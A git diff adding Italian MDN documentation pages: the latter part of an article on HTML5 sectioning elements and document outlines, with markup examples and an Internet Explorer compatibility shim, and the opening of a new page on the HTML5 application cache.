+<p>La definizione della struttura di un documento di HTML 4 è molto approssimativa e causa numerosi problemi:</p>
+<ol>
+  <li>L'uso di un {{HTMLElement("div")}} per definire sezioni semantiche, senza la definizione di valori specifici nell'attributo <strong>class</strong>, rende impossibile per un algoritmo automatico definire la struttura ("Questo {{HTMLElement("div")}} è parte della struttura della pagina, definisce una sezione o una sotto-sezione?" o "è solo un {{HTMLElement("div")}} inserito ai fini di presentazione, usato per scopi estetici?"). In altri termini, la specifica HTML4 è poco precisa riguardo a cosa è una sezione e come definire il suo scopo. La generazione automatica di una struttura è importante, in modo particolare per le <a class="external" href="http://it.wikipedia.org/wiki/Tecnologie_assistive" title="http://it.wikipedia.org/wiki/Tecnologie_assistive">tecnologie assistive</a>, che sono in grado di adattare la presentazione delle informazioni alla struttura del documento. HTML5 rimuove l'elemento {{HTMLElement("div")}} dall'algoritmo che genera la struttura, introducendo l'elemento {{HTMLElement("section")}}, cioè un Elemento HTML di Sezione.</li>
+  <li>Unire più documenti è difficile: inserire un sotto-documento in un documento principale richiede di cambiare il "grado" delle intestazioni in modo che la struttura venga mantenuta. Questo problema viene risolto in HTML5, grazie ai nuovi elementi di sezionamento ( {{HTMLElement("article")}} , {{HTMLElement("section")}} , {{HTMLElement("nav")}} e {{HTMLElement("aside")}} ) che sono sempre sotto-sezioni della sezione che li contiene, indipendentemente dalle sezioni create dagli Elementi HTML di Intestazione.</li>
+  <li>Poiché ogni Elemento HTML di Intestazione cambia la struttura, non è possibile assegnare un sotto-titolo o un titolo secondario (es., <code>&lt;h1&gt;Justine&lt;/h1&gt;&lt;h2&gt;Les Malheurs de la Vertu&lt;/h2&gt;</code> genera la struttura <code>1. Justine 1.1 Les Malheurs de la Vertu</code>). HTML5 introduce l'elemento {{HTMLElement("hgroup")}} che "nasconde" tutti gli elementi di intestazione tranne quello di grado più elevato (es., <code>&lt;hgroup&gt;&lt;h1&gt;Justine&lt;/h1&gt;&lt;h2&gt;Les Malheurs de la Vertu&lt;/h2&gt;&lt;/hgroup&gt;</code> genera la struttura <code>1. Justine</code>).</li>
+  <li>Nel HTML4, ogni sezione è parte della struttura del documento. Ma spesso i documenti non sono così lineari. Un documento può avere sezioni speciali contenenti informazioni che non fanno parte del flusso principale, anche se correlati ad esso, come una pubblicità o un approfondimento. HTML5 introduce l'elemento {{HTMLElement("aside")}} permettendo a questo tipo di sezioni di rimanere estranee al flusso principale.</li>
+  <li>Ancora, nel HTML4, dato che ogni sezione è parte della struttura del documento, non c'è modo di avere sezioni relative non al documento ma a tutto il sito, come il logo, i menu, una tabella dei contenuti, o le informazioni legali e sul copyright. A tal fine, HTML5 introduce tre elementi per altrettante sezioni specifiche: {{HTMLElement("nav")}} per i gruppi di links, come le tabelle dei contenuti, {{HTMLElement("footer")}} e {{HTMLElement("header")}} per le informazioni correlate al sito.</li>
+</ol>
+<p>Più in generale HTML5 aggiunge precisione alle funzionalità di sezionamento ed intestazione, permettendo una struttura del documento prevedibile e utilizzata dai browser per migliorare l'esperienza utente.</p>
+<h2 id="L'Algoritmo_della_Struttura_di_HTML5">L'Algoritmo della Struttura di HTML5</h2>
+<h3 id="Definire_Sezioni_nel_HTML5">Definire Sezioni nel HTML5</h3>
+<p>Tutto il contenuto dell'elemento {{HTMLElement("body")}} appartiene ad una sezione. Le sezioni HTML5 possono essere nidificate. Accanto alla sezione principale, definita dall'elemento {{HTMLElement("body")}}, i confini delle sezioni vengono definiti esplicitamente o implicitamente. Le sezioni esplicite sono contenute negli elementi {{HTMLElement("body")}}, {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, e {{HTMLElement("nav")}}.</p>
+<div class="note">
+  <strong>Nota: </strong>Ogni sezione può avere la propria gerarchia di intestazioni. Quindi anche un elemento nidificato può avere un'intestazione {{HTMLElement("h1")}}. Vedi <a href="/it/docs/Sections_and_Outlines_of_an_HTML5_document#Definire_le_Intestazioni_in_HTML5" title="/it/docs/Sections_and_Outlines_of_an_HTML5_document#Definire_le_Intestazioni_in_HTML5">Definire le Intestazioni in HTML5</a>.</div>
+<p>Esempio:</p>
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;Elefanti delle foreste&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Introduzione&lt;/h1&gt;
+    &lt;p&gt;In questa sezione, parliamo dei poco noti elefanti delle foreste.
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Habitat&lt;/h1&gt;
+    &lt;p&gt;Gli elefanti delle foreste non vivono su gli alberi, ma tra di essi.
+  &lt;/section&gt;
+  &lt;aside&gt;
+    &lt;p&gt;pubblicità
+  &lt;/aside&gt;
+&lt;/section&gt;
+&lt;footer&gt;
+  &lt;p&gt;(c) 2010 Esempi S.P.A.
+&lt;/footer&gt;</pre>
+<p>Questo frammento di HTML definisce due sezioni di primo livello:</p>
+<pre><span style="color: red;">&lt;section&gt;
+  &lt;h1&gt;Elefanti delle foreste&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Introduzione&lt;/h1&gt;
+    &lt;p&gt;In questa sezione, parliamo dei poco noti elefanti delle foreste.
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h1&gt;Habitat&lt;/h1&gt;
+    &lt;p&gt;Gli elefanti delle foreste non vivono su gli alberi, ma tra di essi.
+  &lt;/section&gt;
+   &lt;aside&gt;
+    &lt;p&gt;pubblicità
+  &lt;/aside&gt;
+&lt;/section&gt;</span>
+
+<span style="color: green;">&lt;footer&gt;
+  &lt;p&gt;(c) 2010 Esempi S.P.A.
+&lt;/footer&gt;</span></pre>
+<p>La prima sezione ha tre sotto-sezioni:</p>
+<pre>&lt;section&gt;
+  &lt;h1&gt;Elefanti delle foreste&lt;/h1&gt;
+
+  <span style="color: red;">&lt;section&gt;
+    &lt;h1&gt;Introduzione&lt;/h1&gt;
+    &lt;p&gt;In questa sezione, parliamo dei poco noti elefanti delle foreste.
+  &lt;/section&gt;</span>
+
+  <span style="color: green;">&lt;section&gt;
+    &lt;h1&gt;Habitat&lt;/h1&gt;
+    &lt;p&gt;Gli elefanti delle foreste non vivono su gli alberi, ma tra di essi.
+  &lt;/section&gt;</span>
+
+  <span style="color: blue;">&lt;aside&gt;
+    &lt;p&gt;pubblicità
+  &lt;/aside&gt;</span>
+&lt;/section&gt;
+
+&lt;footer&gt;
+  &lt;p&gt;(c) 2010 Esempi S.P.A.
+&lt;/footer&gt;</pre>
+<p>Il che genera la seguente struttura:</p>
+<pre>1. Elefanti delle foreste
+   1.1 Introduzione
+   1.2 Habitat
+   1.3 Sezione (aside)
+</pre>
+<h3 id="Definire_le_Intestazioni_in_HTML5">Definire le Intestazioni in HTML5</h3>
+<p>L'Elemento HTML di Sezione definisce la struttura del documento, ma c'è bisogno anche delle intestazioni. La regola di base è semplice: il primo Elemento HTML di Intestazione (uno tra {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} ) definisce l'intestazione della sezione corrente.</p>
+<p>Gli elementi di intestazione hanno un <em>grado</em> dato dal numero nell'elemento, dove {{HTMLElement("h1")}} è il grado <em>più alto</em>, e {{HTMLElement("h6")}} quello <em>più basso</em>. Il grado relativo ha importanza solo all'interno di una sezione; è la struttura delle sezioni a determinare lo schema definitivo, non il grado di ciascuna intestazione. Per esempio, questo codice:</p>
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;Elefanti delle foreste&lt;/h1&gt;
+  &lt;p&gt;In questa sezione, parliamo dei poco noti elefanti delle foreste.
+    ...la sezione continua...
+  &lt;section&gt;
+    &lt;h2&gt;Habitat&lt;/h2&gt;
+    &lt;p&gt;Gli elefanti delle foreste non vivono su gli alberi, ma tra di essi.
+        ...la sotto-sezione continua...
+  &lt;/section&gt;
+&lt;/section&gt;
+&lt;section&gt;
+  &lt;h3&gt;Gerbilli della Mongolia&lt;/h3&gt;
+  &lt;p&gt;In questa sezione, parliamo dei famosi gerbilli della Mongolia.
+     ...la sezione continua...
+&lt;/section&gt;</pre>
+<p>genera la seguente struttura:</p>
+<pre>1. Elefanti delle foreste
+   1.1 Habitat
+2. Gerbilli della Mongolia</pre>
+<p>Notare come il grado delle intestazioni (nell'esempio {{HTMLElement("h1")}} per la prima sezione di primo livello, {{HTMLElement("h2")}} per la sotto-sezione e {{HTMLElement("h3")}} per la seconda sezione di primo livello) non conta. (Qualsiasi grado può essere utilizzato come intestazione di una sezione esplicitamente definita, anche se questa pratica non è consigliata.)</p>
+<h3 id="Sezionamento_implicito">Sezionamento implicito</h3>
+<p>Poiché gli elementi HTML5 di sezionamento non sono obbligatori per definire una struttura, c'è un modo per definire sezioni senza di essi, per mantenere la compatibilità con la rete esistente dominata da HTML4. Questa tecnica è chiamata <em>sezionamento implicito</em>.</p>
+<p>Gli Elementi HTML di Intestazione da ( {{HTMLElement("h1")}} a {{HTMLElement("h6")}} ) definiscono una nuova sezione implicita quando non sono la prima voce del loro contenitore, che è sempre una sezione esplicita. Il modo in cui questa sezione implicita viene posizionata nella struttura è definito dal suo grado relativo all'intestazione precedente nella sezione che le contiene. Se il grado è inferiore rispetto all'intestazione precedente, viene aperta una sotto-sezione implicita. Questo codice:</p>
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;Elefanti delle foreste&lt;/h1&gt;
+  &lt;p&gt;In questa sezione, parliamo dei poco noti elefanti delle foreste.
+    ...la sezione continua...
+  &lt;h3 class="implicit subsection"&gt;Habitat&lt;/h3&gt;
+  &lt;p&gt;Gli elefanti delle foreste non vivono su gli alberi, ma tra di essi.
+    ...la sotto-sezione continua...
+&lt;/section&gt;</pre>
+<p>genera la seguente struttura:</p>
+<pre>1. Elefanti delle foreste
+   1.1 Habitat <em>(implicitly defined by the h3 element)</em>
+</pre>
+<p>Se l'intestazione ha lo stesso grado di quella precedente, la sezione corrente viene chiusa (<strong>anche se esplicita</strong>!) e se ne apre una nuova, implicita, dello stesso livello:</p>
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;Elefanti delle foreste&lt;/h1&gt;
+  &lt;p&gt;In questa sezione, parliamo dei poco noti elefanti delle foreste.
+    ...la sezione continua...
+  &lt;h1 class="implicit section"&gt;Gerbilli della Mongolia&lt;/h1&gt;
+  &lt;p&gt;Gerbilli della Mongolia are cute little mammals.
+    ...la sezione continua...
+&lt;/section&gt;</pre>
+<p>genera la seguente struttura: </p>
+<pre>1. Elefanti delle foreste
+2. Gerbilli della Mongolia <em>(implicitamente definita dall'elemento h1, che allo stesso tempo ha chiuso la sezione precedente)</em>
+</pre>
+<p>Se ha grado superiore all'intestazione precedente, chiude la sezione corrente e ne apre una nuova, implicita, di livello superiore:</p>
+<pre class="brush:xml">&lt;body&gt;
+  &lt;h1&gt;Mammiferi&lt;/h1&gt;
+  &lt;h2&gt;Balene&lt;/h2&gt;
+  &lt;p&gt;In questa sezione, parliamo delle balene nuotatrici.
+    ...la sezione continua...
+  &lt;section&gt;
+    &lt;h3&gt;Elefanti delle foreste&lt;/h3&gt;
+    &lt;p&gt;In questa sezione, parliamo dei poco noti elefanti delle foreste.
+      ...la sezione continua...
+    &lt;h3&gt;Gerbilli della Mongolia&lt;/h3&gt;
+      &lt;p&gt;Hordes of gerbils have spread their range far beyond Mongolia.
+         ...la sotto-sezione continua...
+    &lt;h2&gt;Rettili&lt;/h2&gt;
+      &lt;p&gt;I rettili sono animali dal sangue freddo.
+          ...la sotto-sezione continua...
+  &lt;/section&gt;
+&lt;/body&gt;</pre>
+<p>genera la seguente struttura:</p>
+<pre>1. Mammiferi
+   1.1 Balene <em>(definita implicitamente dall'elemento h2)</em>
+   1.2 Elefanti delle foreste <em>(definita esplicitamente dall'elemento section)</em>
+   1.3 Gerbilli della Mongolia <em>(definita implicitamente dall'elemento h3, che allo stesso tempo chiude la sezione precedente)</em>
+   1.4 Rettili <em>(definita implicitamente dall'elemento h2, che allo stesso tempo chiude la sezione precedente)</em>
+</pre>
+<p>Questa non è la struttura che ci si potrebbe aspettare dopo un rapido sguardo alle intestazioni. Per rendere il vostro markup comprensibile all'uomo, è una buona pratica usare sezioni esplicite, e far combaciare il grado dell'intestazione con il livello di nidificazione previsto. Tuttavia, ciò non è richiesto dalla specifica HTML5. Se si riscontra che i browser rendono la struttura del vostro documento in modi inaspettati, verificare se alcune sezioni vengono chiuse implicitamente dagli elementi di intestazione.</p>
+<p>Un'eccezione alla regola empirica che il grado dell'intestazione deve corrispondere al livello di nidificazione della sezione avviene per le sezioni che vengono riutilizzate in più documenti. Per esempio, una sezione potrebbe essere memorizzata in un sistema di gestione dei contenuti ed inserita nel documento in fase di runtime. In questo caso, una buona pratica è partire sempre da un elemento {{HTMLElement("h1")}} per la prima intestazione della sezione. Il livello di nidificazione della sezione riutilizzabile sarà determinato dalla struttura del documento in cui appare. I tag di sezione esplicita sono comunque utili in questi casi.</p>
+<h3 id="Sovrascrivere_il_Sezionamento_Implicito">Sovrascrivere il Sezionamento Implicito</h3>
+<p>A volte, una sezione ha bisogno di avere più intestazioni. Alcuni casi comuni sono:</p>
+<ul>
+  <li>una sezione su un libro o un film, che ha un titolo secondario:
+    <pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;Justine&lt;/h1&gt;
+  &lt;h2&gt;Les Malheurs de la vertu&lt;/h2&gt;
+&lt;/section&gt;</pre>
+    <p>genera la seguente struttura:</p>
+    <pre>1. Justine
+   1.1 Les Malheurs de la vertu
+</pre>
+  </li>
+  <li>un elenco di tag:
+    <pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;Strutture e Schemi di un documento&lt;/h1&gt;
+  &lt;h2&gt;HTML, HTML5, Sezioni, Schemi&lt;/h2&gt;
+&lt;/section&gt;</pre>
+    <p>genera la seguente struttura:</p>
+    <pre>1. Strutture e schemi di un documento
+   1.1 HTML, HTML5, Sezioni, Schemi</pre>
+  </li>
+</ul>
+<p>A causa del sezionamento implicito, questo non è possibile senza l'aiuto dell'Elemento HTML di Raggruppamento delle Intestazioni ( {{HTMLElement("hgroup")}} ) introdotto da HTML5. Esso "nasconde" tutte le intestazioni dalla struttura, eccetto la prima, consentendo di evitare il sezionamento implicito. Grazie a questo elemento l'esempio del libro secondario:</p>
+<pre class="brush:xml">&lt;section&gt;
+  &lt;hgroup&gt;
+    &lt;h1&gt;Justine&lt;/h1&gt;
+    &lt;h2&gt;Les Malheurs de la vertu&lt;/h2&gt;
+  &lt;/hgroup&gt;
+  ... Contenuti ...
+&lt;/section&gt;
+</pre>
+<p>genera la seguente struttura:</p>
+<pre>1. Justine</pre>
+<h3 id="Sezioni_root"><a name="sezioni_root">Sezioni "root"</a></h3>
+<p>Una sezione "root" (radice) è un elemento HTML che può avere una propria struttura, ma le sezioni ed intestazioni interne ad esso non interferiscono con la struttura del suo contenitore. Oltre al {{HTMLElement("body")}} che è la sezione "root" logica di un documento, le sezioni root sono spesso elementi che aggiungono contenuto esterno alla pagina: {{HTMLElement("blockquote")}}, {{HTMLElement("details")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("figure")}} e {{HTMLElement("td")}}.</p>
+<p>Esempio:</p>
+<pre class="brush:xml">&lt;section&gt;
+  &lt;h1&gt;Elefanti delle foreste&lt;/h1&gt;
+  &lt;section&gt;
+    &lt;h2&gt;Introduzione&lt;/h2&gt;
+    &lt;p&gt;In questa sezione, parliamo dei poco noti elefanti delle foreste.
+  &lt;/section&gt;
+  &lt;section&gt;
+    &lt;h2&gt;Habitat&lt;/h2&gt;
+    &lt;p&gt;Gli elefanti delle foreste non vivono su gli alberi, ma tra di essi.
+       Vediamo cosa dicono gli scienziati in "&lt;cite&gt;Gli elefanti delle foreste nel Borneo&lt;/cite&gt;":
+    &lt;blockquote&gt;
+       &lt;h1&gt;Borneo
+       &lt;p&gt;L'elemento foresta vive nel Borneo...
+    &lt;/blockquote&gt;
+  &lt;/section&gt;
+&lt;/section&gt;
+</pre>
+<p>Questo esempio genera la seguente struttura:</p>
+<pre>1. Elefanti delle foreste
+   1.1 Introduzione
+   1.2 Habitat</pre>
+<p>La struttura principale non contiene la struttura interna dell'elemento {{HTMLElement("blockquote")}}, che, trattandosi di una citazione esterna, è un elemento di sezione "root", perciò la sua struttura interna viene isolata.</p>
+<h3 id="Sezioni_oltre_la_struttura">Sezioni oltre la struttura</h3>
+<p>HTML5 introduce quattro nuovi elementi che permettono di definire sezioni che non fanno parte della struttura principale del documento:</p>
+<ol>
+  <li>L'Elemento HTML di Sezione Aside ( {{HTMLElement("aside")}} ) definisce una sezione che, anche se correlata all'elemento principale, non appartiene al flusso principale, come un box di approfondimento o una pubblicità. Ha la sua propria struttura, ma non appartiene a quella principale.</li>
+  <li>L'Elemento HTML di Sezione Navigazione ( {{HTMLElement("nav")}} ) definisce una sezione che contiene i link di navigazione. In un documento possono essere presenti molti elementi di navigazione, ad esempio: uno con i link interni alla pagina, come le tabelle dei contenuti, e un altro con i link di navigazione del sito. Questi links non fanno parte del flusso o della struttura principale e generalmente il loro rendering viene eseguito per ultimo dagli screen readers e da tecnologie assistive simili.</li>
+  <li>L'Elemento HTML di Sezione Header ( {{HTMLElement("header")}} ) definisce la testata di una pagina, che generalmente contiene il logo e il nome del sito, occasionalmente una barra di navigazione. A dispetto del nome, non viene necessariamente posizionato all'inizio del documento.</li>
+  <li>L'Elemento HTML di Sezione Footer ( {{HTMLElement("footer")}} ) definisce il piè di pagina, che generalmente contiene il copyright, le informazioni legali ed a volte altri links. A dispetto del nome, non viene necessariamente posizionato alla fine del documento.</li>
+</ol>
+<h2 id="Indirizzi_e_data_di_pubblicazione_negli_elementi_di_sezionamento">Indirizzi e data di pubblicazione negli elementi di sezionamento</h2>
+<p>L'autore di un documento spesso vuole pubblicare alcune informazioni personali, come nome e indirizzo dell'autore. HTML4 lo permetteva tramite l'elemento {{HTMLElement("address")}}, che è stato esteso in HTML5.</p>
+<p>Un documento può essere fatto di diverse sezioni scritte da diversi autori. Una sezione curata da un autore diverso rispetto alla sezione principale può essere definita da un elemento {{HTMLElement("article")}}. Di conseguenza, l'elemento {{HTMLElement("address")}} è ora riferito al più vicino tra gli elementi {{HTMLElement("body")}} e {{HTMLElement("article")}} che lo contengono.</p>
+<p>In modo simile, il nuovo elemento {{HTMLElement("time")}}, con il suo set di attributi {{htmlattrxref("pubdate", "time")}}, rappresenta la data di pubblicazione di tutto il documento, rispettivamente all'articolo, legato al più vicino contenitore {{HTMLElement("body")}} o {{HTMLElement("article")}}.</p>
+<h2 id="Usare_Elementi_HTML5_nei_Browser_Non-HTML5">Usare Elementi HTML5 nei Browser Non-HTML5</h2>
+<p>Sezioni ed intestazioni dovrebbero funzionare nella maggior parte dei browser non-HTML5-compatibili. Anche se non supportati, non necessitano di una interfaccia DOM specifica ma solo di uno stile CSS dedicato, perché agli elementi sconosciuti viene assegnato <code>display:inline</code> di default:</p>
+<pre class="brush: css">section, article, aside, footer, header, nav, hgroup {
+  display:block;
+}
+</pre>
+<p>Naturalmente lo sviluppatore può assegnargli uno stile differente, ma tenendo a mente che nei browser non compatibili con HTML5 il rendering di default è diverso da quel che ci si potrebbe aspettare. Notare che l'elemento {{HTMLElement("time")}} non è stato incluso di proposito, perché in questo caso il rendering di default dei browser non-HTML5-compatibili corrisponde a quello previsto.</p>
+<p>Questo metodo però ha delle limitazioni, perché alcuni browser non permettono di applicare stili CSS agli elementi non supportati. È il caso di Internet Explorer (versione 8 e precedenti), che necessita di uno script per abilitare il rendering di tali elementi:</p>
+<pre class="brush:xml">&lt;!--[if lt IE 9]&gt;
+  &lt;script&gt;
+    document.createElement("header");
+    document.createElement("footer");
+    document.createElement("section");
+    document.createElement("aside");
+
+    document.createElement("nav");
+    document.createElement("article");
+    document.createElement("hgroup");
+    document.createElement("time");
+  &lt;/script&gt;
+&lt;![endif]--&gt;</pre>
+<p>Questo significa che, in caso di Internet Explorer (8 e precedenti), javascript deve essere abilitato affinché gli elementi HTML vengano visualizzati correttamente. Altrimenti essi non verranno visualizzati (o verranno visualizzati senza stili applicati NdT), il che potrebbe rivelarsi problematico, dato che si tratta di elementi che definiscono la struttura dell'intera pagina. Ecco perché un elemento {{HTMLElement("noscript")}} dovrebbe essere aggiunto per questi casi specifici, come nell'esempio di seguito:</p>
+<pre class="brush:xml">&lt;noscript&gt;
+   &lt;strong&gt;Attenzione !&lt;/strong&gt;
+   Dato che il tuo browser non supporta HTML5, alcuni elementi vengono simulati usando JScript.
+   Sfortunatamente il tuo browser ha disattivato lo scripting. Per favore abilita JScript per visualizzare la pagina.
+&lt;/noscript&gt;</pre>
+<p>Ciò ci porta al seguente codice per permettere il supporto delle sezioni e delle intestazioni HTML5 nei browser non-HTML5, anche nel caso di Internet Explorer (8 e precedenti), con un fallback adeguato nel caso in il browser non permetta l'esecuzione di javascript:</p>
+<pre class="brush:xml">&lt;!--[if lt IE 9]&gt;
+  &lt;script&gt;
+    document.createElement("header");
+    document.createElement("footer");
+    document.createElement("section");
+    document.createElement("aside");
+    document.createElement("nav");
+    document.createElement("article");
+    document.createElement("hgroup");
+    document.createElement("time");
+  &lt;/script&gt;
+  &lt;noscript&gt;
+   &lt;strong&gt;Attenzione !&lt;/strong&gt;
+   Dato che il tuo browser non supporta HTML5, alcuni elementi vengono simulati usando JScript.
+   Sfortunatamente il tuo browser ha disattivato lo scripting. Per favore abilita JScript per visualizzare la pagina.
+&lt;/noscript&gt;
+&lt;![endif]--&gt;</pre>
+<h2 id="Conclusioni">Conclusioni</h2>
+<p>Le nuove sezioni e intestazioni introdotte in HTML5 danno agli sviluppatori la capacità di descrivere la struttura di un documento web in maniera standard. Portano un grande vantaggio per le persone che hanno browser supportanti HTML5 e che hanno bisogno della struttura per comprendere la pagina, per esempio le le persone che necessitano l'aiuto di una tecnologia assistiva. I nuovi elementi semantici sono semplici da usare e, con pochi aggiustamenti, funzionano anche nei browser non-HTML5. Pertanto possono essere utilizzati senza restrizioni.</p>
+<div>
+  {{HTML5ArticleTOC()}}</div>
diff --git a/files/it/web/html/utilizzare_application_cache/index.html b/files/it/web/html/utilizzare_application_cache/index.html
new file mode 100644
index 0000000000..2c35bbaeae
--- /dev/null
+++ b/files/it/web/html/utilizzare_application_cache/index.html
@@ -0,0 +1,383 @@
+---
+title: Utilizzare l'application cache
+slug: Web/HTML/utilizzare_application_cache
+translation_of: Web/HTML/Using_the_application_cache
+---
+<h2 id="Introduzione">Introduzione</h2>
+
+<p><a href="/en-US/docs/HTML/HTML5" title="HTML/HTML5">HTML5</a> possiede un meccanismo di <em>application caching</em> che permette alle applicazioni web-based di funzionare anche offline. Gli sviluppatori possono utilizzare l'interfaccia <strong>Application Cache</strong> (<em>AppCache</em>)  per specificare le risorse che il browser deve memorizzare nella cache e rendere disponibili per gli utenti offline. Le applicazioni in cache si caricano e funzionano correttamente anche se gli utenti cliccano sul tasto refresh del browser quando sono offline.</p>
+
+<p>L'uso dell'application cache fornisce all'applicazione i seguenti benefici:</p>
+
+<ul>
+ <li>Navigazione offline: gli utenti possono navigare un sito anche se sono offline.</li>
+ <li>Velocità: le risorse sono memorizzate in locale, quindi si caricano più velocemente.</li>
+ <li>Riduzione del carico server: il browser scarica dal server solo le risorse che sono state modificate.</li>
+</ul>
+
+<h2 id="Come_funziona_l'application_cache">Come funziona l'application cache</h2>
+
+<h3 id="Abilitare_l'application_cache">Abilitare l'application cache</h3>
+
+<p>Per abilitare l'application cache per un'applicazione, è necessario includere l'attributo {{htmlattrxref("manifest", "html")}} nell'elemento {{HTMLElement("html")}} delle pagine della tua applicazione, come mostrato nel seguente esempio:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush: html">&lt;html manifest="example.appcache"&gt;
+  ...
+&lt;/html&gt;
+</pre>
+</div>
+
+<p>L'attributo <code>manifest<strong> </strong></code>fa riferimento ad un <strong>cache manifest</strong>, un file di testo che elenca tutte le risorse (files) che il browser deve memorizzare per la tua applicazione.</p>
+
+<p>Bisogna includere l'attributo <code>manifest</code> in tutte le pagine dell'applicazione che vuoi memorizzare nella cache, il browser non memorizza le pagine che non contengono l'attributo <code>manifest</code>, a meno che tali pagine siano esplicitamente elencate nel file manifest stesso. Non c'è bisogno di elencare nel cache manifest tutte le pagine che si vogliono memorizzare nella cache, il browser implicitamente aggiunge ogni pagina che l'utente visita e che ha l'attributo <code>manifest</code> settato sull'application cache.</p>
+
+<p>Alcuni browser (es. Firefox) mostrano una barra di notifica la prima volta che un utente carica un'applicazione che usa l'application cache. La barra di notifica mostra un messaggio tipo:</p>
+
+<p style="margin-left: 40px;">Questo sito web (<code>www.example.com</code>) richiede di salvare dati sul computer per l'utilizzo non in linea. [Permetti] [Mai per questo sito] [Non adesso]</p>
+
+<p>Il termine "offline(-enabled) applications" qualche volta fa riferimento alle applicazioni che l'utente ha esplicitamente abilitato ad utilizzare le capacità offline.</p>
+
+<h3 id="Caricare_documenti">Caricare documenti</h3>
+
+<p>L'uso dell'application cache modifica il normale processo di caricamento del documento:</p>
+
+<ul>
+ <li>Se esiste un'application cache, il browser carica il documento e le sue risorse associate direttamente dalla cache, senza accedere alla rete. Ciò velocizza il tempo di caricamento del documento.</li>
+ <li>Il browser quindi controlla se il cache manifest è stato aggiornato sul server.</li>
+ <li>Se il cache manifest è stato aggiornato, il browser scarica la nuova versione e le risorse elencate. Quest'operazione viene eseguita in background e non influenza la performance significativamente.</li>
+</ul>
+
+<p>Il processo di caricamento del documento ed aggiornamento dell'application cache è specificato in maggior dettaglio qui sotto:</p>
+
+<ol>
+ <li>Quando il browser visita un documento che include l'attributo <code>manifest</code>, se non esiste un application cache, il browser carica il documento e poi va a prendere tutte le risorse elencate nel file manifest, creando la prima versione dell'application cache.</li>
+ <li>Nelle visite successive, il browser preleverà il documento e tutte le risorse specificate nel file manifest direttamente dall'applcation cache (non dal server). In più, il browser invia un evento <code>checking</code> all'oggetto <code><a href="/en-US/docs/DOM/window.applicationCache" title="DOM/window.applicationCache">window.applicationCache</a></code> e processa il file manifest, seguendo le appropriate regole di chaching HTTP.</li>
+ <li>Se la copia attualmente memorizzata del manifest è aggiornata, il browser invia un evento<code> noupdate</code> all'oggetto <code>applicationCache</code>, ed il processo di aggiornamento è completo. Da notare che se viene modificata una qualsiasi delle risorse sul server, bisogna modificare anche il file manifest, in maniera tale che il browser sappia che ha bisogno di processare tutte le risorse nuovamente.</li>
+ <li>Se il file manifest è stato modificato, tutti i file elencati in esso - così come quelli aggiunti alla cache utilizzando <code><a href="/en-US/docs/nsIDOMOfflineResourceList#add.28.29" title="nsIDOMOfflineResourceList#add.28.29">applicationCache.add() </a></code>- sono aggiunti ad una cache temporanea, seguendo le appropriate regole di caching HTTP. Per ogni file memorizzato in questa cache temporanea, il browser invia un evento <code>progress</code> all'oggetto <code>applicationCache</code>. In caso di errore, il browser invia un evento <code>error</code> e blocca l'aggiornamento dell'application cache.</li>
+ <li>Una volta che tutti i files sono stati recuperati con successo, vengono automaticamente spostati nella vera cache offline, e viene inviato un evento <code>cached</code> all'oggetto<code> applicationCache</code>. Dato che il documento è stato già caricato nel browser prelevandolo dalla cache, il documento aggiornato non sarà renderizzato finchè non viene ricaricato (manualmente o attraverso la programmazione).</li>
+</ol>
+
+<h2 id="Percorso_di_memorizzazione_e_cancellazione_della_cache_offline">Percorso di memorizzazione e cancellazione della cache offline</h2>
+
+<p>Su Chrome è possibile cancellare la cache offline sia selezionando  "Clear browsing data..." dalle preferenze, oppure visitando  <a title="chrome://appcache-internals/">chrome://appcache-internals/</a>. Safari ha una voce "Svuota cache" simile nelle sue preferenze, ma potrebbe essere necessario riavviare il browser.</p>
+
+<p>Su Firefox, i dati della cache offline vengono memorizzati separatamente dal profilo Firefox — insieme ai dati degli altri programmi installati:</p>
+
+<ul>
+ <li>Windows Vista/7: <code>C:\Users\&lt;username&gt;\AppData\<strong>Local</strong>\Mozilla\Firefox\Profiles\&lt;salt&gt;.&lt;profile name&gt;\OfflineCache</code></li>
+ <li>Mac/Linux: <code>/Users/&lt;username&gt;/Library/Caches/Firefox/Profiles/&lt;salt&gt;.&lt;profile name&gt;/OfflineCache</code></li>
+</ul>
+
+<p>Su Firefox è possibile ispezionare lo stato della cache offline sulla pagina <code>about:cache</code> (box "Offline cache device"). La cache offline può essere cancellata separatamente per ogni sito utilizzando il tasto "Rimuovi..." presente in:<br>
+ Firefox -&gt; Opzioni -&gt; Avanzate -&gt; Rete -&gt; Dati non in linea e informazioni utente.</p>
+
+<p>Nelle versioni precedenti a Firefox 11, l'application cache non poteva essere cancellata utilizzando<br>
+ Tools -&gt; Clear Recent History<br>
+ oppure<br>
+ Tools -&gt; Options -&gt; Advanced -&gt; Network -&gt; Offline data -&gt; Clear Now Questo bug è stato fixato nelle versioni successive.</p>
+
+<p>Vedi anche <a href="/en-US/docs/DOM/Storage#Storage_location_and_clearing_the_data" title="DOM/Storage#Storage location and clearing the data">clearing the DOM Storage data</a>.</p>
+
+<p>Le application cache possono anche diventare obsolete. Se il un file manifest dell'applicazione viene rimosso dal server, il browser rimuove tutte le application cache che utilizzano quel manifest ed invia un evento "obsoleted" all'oggetto <code>applicationCache</code>. Questo imposta lo stato dell'application cache su<code> OBSOLETE</code>.</p>
+
+<h2 id="Il_file_cache_manifest">Il file cache manifest</h2>
+
+<h3 id="Includere_un_file_cache_manifest">Includere un file cache manifest</h3>
+
